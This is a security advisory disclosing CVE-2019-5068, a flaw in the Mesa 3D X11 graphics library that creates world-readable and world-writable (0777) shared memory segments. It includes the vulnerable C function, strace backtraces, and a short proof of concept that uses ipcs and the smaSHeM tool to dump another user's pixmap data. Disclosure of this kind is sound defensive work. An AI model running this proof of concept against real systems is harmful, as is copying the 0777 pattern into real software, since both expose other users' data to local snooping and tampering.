Talos Vulnerability Report

TALOS-2019-0857

X11 Mesa 3D Graphics Library shared memory permissions vulnerability

October 23, 2019
CVE Number

CVE-2019-5068

Summary

An exploitable shared memory permissions vulnerability exists in the functionality of X11 Mesa 3D Graphics Library. An attacker can access the shared memory without any specific permissions to trigger this vulnerability.

Tested Versions

Mesa 3D X11 Graphics library 19.1.2

Product URLs

https://mesa3d.org/

CVSSv3 Score

5.1 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE

CWE-277: Insecure Inherited Permissions

Details

The Mesa 3D X11 Graphics library loads as part of the initialization of X11 on specific hardware (in this instance virtual machines running within the KVM hypervisor). This library creates shared memory segments that support communication between X11 clients and the X11 server. It was identified that these shared memory segments have world-read and world-write permissions set (777) which means that any user can read and write to the segment without any specific OS privileges being required:

$ ipcs -a | grep 4259840
0x00000000 4259840    user       777        491520     2          dest        
$ ipcs -p | grep 4259840
4259840    user       922        2737      

Initially, it was believed that the vulnerable code was part of GNOME 3 (as shipped with Kali Linux which was running on the virtual machine) however by running KDE applications under strace on a second virtual machine utilizing an entirely different desktop as follows:

945   shmget(IPC_PRIVATE, 8355840, IPC_CREAT|0777) = 2129923
 > /usr/lib/x86_64-linux-gnu/libc-2.28.so(shmget+0xa) [0xfb3aa]
 > /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0xa1c52) [0x1331e2]
 > /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0xa328a) [0x13481a]
 > /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0x2a2f) [0x93fbf]
 > /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0x6d7c) [0x9830c]
 > /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(nouveau_drm_screen_create+0x1cccaa) [0x4bc12a]
 > /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(nouveau_drm_screen_create+0x1ce225) [0x4bd6a5]
 > /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0x67bd) [0x97d4d]
 > /usr/lib/x86_64-linux-gnu/dri/swrast_dri.so(__driDriverGetExtensions_virtio_gpu+0xad6) [0x92066]
 > /usr/lib/x86_64-linux-gnu/libGLX_mesa.so.0.0.0(glAreTexturesResidentEXT+0x21e2) [0x45002]
 > /usr/lib/x86_64-linux-gnu/libGLX_mesa.so.0.0.0(MesaGLInteropGLXExportObject+0x7fb) [0x3738b]
 > /usr/lib/x86_64-linux-gnu/libGLX.so.0.0.0(_init+0x68d) [0x368d]
 > /usr/lib/x86_64-linux-gnu/libGLX.so.0.0.0(glXGetFBConfigs+0x520) [0x40a0]
 > /usr/lib/x86_64-linux-gnu/libGLX.so.0.0.0(glXWaitX+0x3fb) [0x56fb]
 > /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.platforms/KWinX11Platform.so(KWin::OverlayWindowX11::setShape(QRegion const&)+0x11682) [0x37ed2]
 > /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.platforms/KWinX11Platform.so(KWin::OverlayWindowX11::setShape(QRegion const&)+0x11ce2) [0x38532]
 > /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.platforms/KWinX11Platform.so(KWin::OverlayWindowX11::setShape(QRegion const&)+0x124f1) [0x38d41]
 > /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.scenes/KWinSceneOpenGL.so(KWin::SceneOpenGL::createScene(QObject*)+0x7e) [0x1dd2e]
 > /usr/lib/x86_64-linux-gnu/qt5/plugins/org.kde.kwin.scenes/KWinSceneOpenGL.so(KWin::OpenGLFactory::create(QObject*) const+0x69) [0x1df89]
 > /usr/lib/x86_64-linux-gnu/libkwin.so.5.14.5(KWin::Compositor::slotCompositingOptionsInitialized()+0x8a3) [0x17c323]
 > /usr/lib/x86_64-linux-gnu/libkwin.so.5.14.5(KWin::Compositor::setup()+0x98) [0x17d238]
 > /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QObject::event(QEvent*)+0xe2) [0x294182]
 > /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5.11.3(QApplicationPrivate::notify_helper(QObject*, QEvent*)+0x81) [0x15f4b1]
 > /usr/lib/x86_64-linux-gnu/libQt5Widgets.so.5.11.3(QApplication::notify(QObject*, QEvent*)+0x210) [0x166950]
 > /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QCoreApplication::notifyInternal2(QObject*, QEvent*)+0x179) [0x26a5a9]
 > /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QCoreApplicationPrivate::sendPostedEvents(QObject*, int, QThreadData*)+0x1cb) [0x26d59b]
 > /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QEventDispatcherUNIX::processEvents(QFlags<QEventLoop::ProcessEventsFlag>)+0x4b) [0x2b8b4b]
 > /usr/lib/x86_64-linux-gnu/libQt5XcbQpa.so.5.11.3(QXcbGlIntegrationPlugin::qt_metacall(QMetaObject::Call, int, void**)+0x3974d) [0xdd67d]
 > /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QEventLoop::exec(QFlags<QEventLoop::ProcessEventsFlag>)+0x13b) [0x26927b]
 > /usr/lib/x86_64-linux-gnu/libQt5Core.so.5.11.3(QCoreApplication::exec()+0x92) [0x271262]
 > /usr/lib/x86_64-linux-gnu/libkdeinit5_kwin_x11.so(kdemain+0x52b) [0xa47b]
 > /usr/lib/x86_64-linux-gnu/libc-2.28.so(__libc_start_main+0xeb) [0x2409b]
 > /usr/bin/kwin_x11(_start+0x2a) [0x108a]

It was possible to determine that the culprit was in fact swrast_dri.so which is a Mesa 3D X11 Graphics library. Specifically, while it is obscured in this backtrace, the code path includes calls to _driDriverGetExtensions##drivername(void) which make use of the following code:

static char *
alloc_shm(struct dri_sw_displaytarget *dri_sw_dt, unsigned size)
   char *addr;
   dri_sw_dt->shmid = shmget(IPC_PRIVATE, size, IPC_CREAT|0777);
   if (dri_sw_dt->shmid < 0)
      return NULL;
   addr = (char *) shmat(dri_sw_dt->shmid, 0, 0);
   /* mark the segment immediately for deletion to avoid leaks */
   shmctl(dri_sw_dt->shmid, IPC_RMID, 0);
   if (addr == (char *) -1)
      return NULL;
   return addr;

Here, shmget() is called to implement the Mesa 3D X11 Graphics library X11 protocol support for a shared buffer between the X server and the client. This method of IPC between X clients and servers allows for increased performance when rendering large pixmaps. As you can see, in this case, shmget() is called with permissions of 0777 which effectively maps to "rwx" in each of the user, group and other permission contexts. Since the X server is typically running as root, it is believed there should be no need for client applications which run with less privileges to create shared memory with these weakened permissions. It should be noted that there are other functions within the same code base which also behave in a similar, unsafe fashion. Insecure permissions can be used by an attacker to tamper with previously created System V shared memory segments or to read their contents. In the context of the Mesa 3D X11 Graphics library, it was determined that weak permissions on the created segments may allow for the disclosure or corruption of pixmaps (GUI artifacts) being transmitted to the X server. Whilst in principal this could allow more interesting memory corruption attacks to be performed, no such attacks have yet been found within the context of the either the libraries or the X11 server. It should be noted that this vulnerability is not dependent on KVM, the X11 server or a specific desktop environment but rather that the use of X11 within the KVM hypervisor forces a vulnerable Mesa 3D X11 Graphics library to be utilised for communications between the X server and the client.

A simple PoC of how an attacker may be able to trigger more useful conditions by exploiting the initial permissions weakness can be seen below.

1) Identify an affected segment:

ipcs -a | grep 777
0x00000000 4259840    user       777        491520     2          dest        

2) (As another OS user), read the shared memory:

smaSHeM -i 4259840 -l 491520 -d > shmem.4259840

3) Observe the following:

hexdump -C shmem.4259840 | head -n 20
00000000  b5 b3 b2 ff b5 b3 b2 ff  b5 b3 b2 ff b5 b3 b2 ff  |................|
00001e00  f1 f0 ef ff f1 f0 ef ff  f1 f0 ef ff f1 f0 ef ff  |................|
00001f70  f1 f0 ef ff f1 f0 ef ff  d1 d0 cf ff d1 d0 cf ff  |................|
00001f80  d1 d0 cf ff d1 d0 cf ff  d1 d0 cf ff d1 d0 cf ff  |................|
00002360  f1 f0 ef ff f1 f0 ef ff  d1 d0 cf ff d1 d0 cf ff  |................|
00002370  d1 d0 cf ff d1 d0 cf ff  d1 d0 cf ff d1 d0 cf ff  |................|
00002750  f1 f0 ef ff f1 f0 ef ff  eb c1 6f ff eb c1 6f ff  |..........o...o.|
00002760  eb c1 6f ff eb c1 6f ff  eb c1 6f ff eb c1 6f ff  |..o...o...o...o.|
00002b40  f1 f0 ef ff f1 f0 ef ff  f1 f0 ef ff f1 f0 ef ff  |................|
00003d70  f1 f0 ef ff f1 f0 ef ff  d1 d0 cf ff d1 d0 cf ff  |................|
00003d80  d1 d0 cf ff d1 d0 cf ff  d1 d0 cf ff d1 d0 cf ff  |................|
00004160  f1 f0 ef ff f1 f0 ef ff  d1 d0 cf ff d1 d0 cf ff  |................|
00004170  d1 d0 cf ff d1 d0 cf ff  d1 d0 cf ff d1 d0 cf ff  |................| 

smaSHeM can be found here: https://labs.portcullis.co.uk/tools/smashem/.

Timeline

2019-07-29 - Initial contact
2019-08-07 - Plain text report file issued to vendor
2019-08-29 - 30 day follow up
2019-10-09 - Vendor confirmed fix in progress
2019-10-21 - Vendor patched
2019-10-23 - Public disclosure

Credit

Discovered by Tim Brown of Security Advisory EMEAR